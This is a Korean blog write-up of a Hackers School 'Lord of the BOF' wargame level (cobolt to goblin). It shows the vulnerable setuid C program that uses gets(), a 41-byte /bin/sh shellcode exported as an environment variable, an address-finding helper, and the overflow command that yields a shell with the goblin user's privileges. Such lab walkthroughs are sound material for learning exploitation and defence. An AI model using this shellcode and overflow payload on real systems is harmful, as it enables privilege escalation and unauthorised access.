해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이
M4ndU
해커스쿨 LOB [cobolt -> goblin] 풀이입니다.
ID | cobolt
PW | hacking exposed
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: cobolt
Password:
[cobolt@localhost cobolt]$ bash2
[cobolt@localhost cobolt]$ ls -l
total 16
-rwsr-sr-x 1 goblin goblin 11824 Feb 26 2010 goblin
-rw-r--r-- 1 root root 193 Mar 29 2010 goblin.c
[cobolt@localhost cobolt]$ cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
저번과 같은데 입력을 gets함수로 받네요.
환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.
[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[cobolt@localhost cobolt]$ gcc getenv.c -o getenv
[cobolt@localhost cobolt]$ ./getenv
ADDR -> 0xbffffea7
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin
AAAAAAAAAAAAAAAAAAAA??
my-pass
euid = 503
hackers proof
다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL6 [wolfman-> darkelf] 풀이 (1) | 2018.02.11 |
---|---|
해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이 (0) | 2018.02.10 |
해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이 (0) | 2018.02.10 |